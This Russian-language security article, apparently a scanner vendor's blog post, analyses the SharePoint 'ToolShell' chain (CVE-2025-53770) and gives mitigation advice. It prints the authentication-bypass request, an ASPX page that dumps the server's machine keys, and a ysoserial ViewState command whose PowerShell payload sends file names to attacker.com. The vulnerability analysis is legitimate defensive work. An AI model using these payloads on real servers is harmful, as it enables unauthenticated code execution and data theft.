CVE-2025-53770 | ToolShell

Microsoft SharePoint — это мощная платформа для совместной работы и управления контентом, созданная корпорацией Microsoft. SharePoint стал универсальным решением, которое организации используют для хранения и работы с документами, создания корпоративных порталов и рабочих пространств, а так же для автоматизации рабочих процессов.

Дата выхода: Время прочтения статьи:
CVE-2025-53770 | ToolShell

Вступление

Microsoft SharePoint — это мощная платформа для совместной работы и управления контентом, созданная корпорацией Microsoft. SharePoint стал универсальным решением, которое организации используют для хранения и работы с документами, создания корпоративных порталов и рабочих пространств, а так же для автоматизации рабочих процессов.SharePoint.png

В июле 2025 года миру стало известно о новой критической zero‑day уязвимости в Microsoft SharePoint, позволяющей злоумышленнику без какой-либо аутентификации получить возможность удаленного выполнения кода (RCE) на серверах Microsoft SharePoint.

Уязвимость получила идентификатор CVE‑2025‑53770 и была прозвана ToolShell.

С 18 июля злоумышленники активно эксплуатируют эту уязвимость в реальной инфраструктуре — сотни компаний, включая госсектор и крупные корпорации, оказались под атакой вредоносного ПО, которое либо крадёт данные, либо устанавливает постоянный доступ.

Уязвимости подвержены все версии Microsoft SharePoint, начиная с:

  • 16.0.0 до 16.0.5513.1001 для Microsoft SharePoint Enterprise Server 2016
  • 16.0.0 до 16.0.10417.20037 для Microsoft SharePoint Server 2019
  • 16.0.0 до 16.0.18526.20508 для Microsoft SharePoint Server Subscription Edition

Технический анализ

Сама по себе CVE-2025-53770 является результатом эксплуатации цепочки уязвимостей, что в совокупности приводит к получению возможности удалённого выполнения кода. В качестве основных этапов эксплуатации можно выделить следующие:

  1. Обход аутентификации и произвольная загрузка файла.
  2. Извлечение криптографических ключей.
  3. Генерация вредоносного сериализованного файла.
  4. Отправка файла на уязвимый эндпоинт.
  5. Проверка подписи файла и его десериализация, приводящая к RCE.

Рассмотрим атаку более подробно. Опубликованный эксплоит выглядит достаточно несложно:

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1 
Host: target.xyz 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 
Content-Length: 7699 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 
Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Type: application/x-www-form-urlencoded 
Referer: /_layouts/SignOut.aspx 
Connection: close 

MSOTlPn_Uri=http%3A%2F%2Fwww.itsc.org%2F_controltemplates%2F15%2FAclEditor.ascx&MSOTlPn_DWP=<payload>

Целью атакующих является эндпоинт _layouts/15/ToolPane.aspx — именно на него отправляется первоначальный запрос, служащий "точкой входа" при эксплуатации уязвимости (отсюда же и кодовое имя уязвимости — ToolShell).

Здесь примечательно, что в запросе используется следующий заголовок:

Referer: /_layouts/SignOut.aspx

Его использование при отправке первоначального запроса позволяет обойти контроль аутентификации, заставив сервер ошибочно полагать, что пользователь уже авторизован в системе.

Следом происходит загрузка вредоносного aspx-файла. Такой файл может выглядеть, например, так:

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
    public void Page_load()
    {
		var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
        var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
        var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
        var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
        Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
    }
</script>

Этот файл обрабатывается на стороне сервера, но не является веб-шеллом или реверс-шеллом, его основная задача заключается в извлечении криптографических ключей из окружения SharePoint.

Алгоритм его работы выглядит следующим образом:

  1. Загрузка сборки System.Web через Reflection. Это стандартный .NET-механизм, позволяющий получить доступ к конфигурационным классам ASP.NET, включая MachineKeySection.
  2. Получение внутреннего метода GetApplicationConfig. С помощью рефлексии загружается private-метод, который возвращает текущую конфигурацию приложения — и в частности, MachineKeySection.
  3. Получение экземпляра MachineKeySection. Метод возвращает объект, содержащий ключи:
    • ValidationKey — для проверки подписи ViewState/form-данных;
    • DecryptionKey — для дешифрования (если активно);
    • Дополнительные параметры (Validation, CompatibilityMode).
  4. Вывод ключей в HTTP-ответ. Результат записывается как ValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode.

Эти ключи — ядро и основная угроза ASP.NET безопасности: без них невозможно корректно подписывать или расшифровывать ViewState и другие данные.

В 2021 году в рамках исследования CVE-2021-28474 был подробно изучен механизм обработки __VIEWSTATE на стороне сервера. SharePoint загружал и выполнял объекты ASP.NET ViewState с использованием ключа подписи, а именно ValidationKey, хранящегося в конфигурации машины:

5817b6ad-5f1e-46f0-89e0-72073cc2a761.png

Создавая вредоносный запрос с сериализованной полезной нагрузкой и подписывая её действительным ключом, злоумышленник мог заставить SharePoint выполнять десериализацию произвольных объектов, что приводило к удалённому выполнению кода.

Однако, эксплуатация была затруднена необходимостью действительной подписи, что, в свою очередь, требовало доступа к секретному ключу сервера.

Теперь же получение секретов стало возможным, и появление эксплоита не заставило себя долго ждать. Имея данные ключи, злоумышленник может собрать кастомный сериализованный payload (полезную нагрузку) с использованием специальных утилит (например, ysoserial):

ysoserial -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"dir 'C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS' | % { Invoke-WebRequest -Uri ('http://attacker.com/?f=' + [uri]::EscapeDataString($_.Name)) }\"" \
--generator="<VIEWSTATE_GENERATOR>" \
--validationkey="<VALIDATION_KEY>" \
--validationalg="<VALIDATION_ALG>" \
--islegacy \
--minify

Далее нужно лишь передать сериализованный и подписанный объект на уязвимый эндпоинт:

curl http://target/_layouts/15/success.aspx?__VIEWSTATE=<YSOSERIAL_GENERATED_PAYLOAD>

Эти полезные нагрузки могут вызывать выполнение любых команд и принимаются сервером в качестве доверенного ввода (благодаря успешной проверке подписи), что, в конце концов, приводит к получению RCE без каких-либо учётных данных. Это является следствием уязвимости, обнаруженной в 2021 году, ставшей частью более сложной и опасной цепочки.

Устранение

Устранение уязвимости, как это часто бывает с подобными проприетарными решениями, лежит в немедленном обновлении SharePoint до актуальной версии. Это является наиболее эффективным и полным решением, поскольку патчи от производителя напрямую исправляют уязвимый код.

00995829-937c-45ff-8839-511a3a5ebb8b.png

При отсутствии такой возможности – необходимо завести сервис за ACL (список контроля доступа), ограничив доступ к уязвимым эндпоинтам только для доверенных источников, либо настроить соответствующее правило на WAF (Web Application Firewall) для фильтрации подозрительных запросов, блокировки известных векторов атаки и обнаружения аномальной активности, направленной на эксплуатацию уязвимости.

Заключение

Проверить версию SharePoint можно следующим образом:

export HOST=<your_host> && \
curl -s -I -X OPTIONS --connect-timeout 5 "https://$HOST" --insecure \
  | grep -i "^MicrosoftSharePointTeamServices:" \
  | awk '{print $2}' | tr -d '\r'
16.0.0.4534

Проверить эксплуатируемость:

Для обеспечения безопасности ваших систем SharePoint крайне важно незамедлительно обновить программное обеспечение до актуальных версий, предоставляемых Microsoft.

Регулярный мониторинг и оперативное реагирование на любые аномалии являются ключевыми элементами стратегии защиты от подобных угроз.

Шаблон для обнаружения данной уязвимости уже интегрирован в Метаскан.

ToolShell служит суровым напоминанием о постоянной эволюции киберугроз и критической важности проактивного подхода к кибербезопасности.

 
CVE-2025-53770 | ToolShell | METASCAN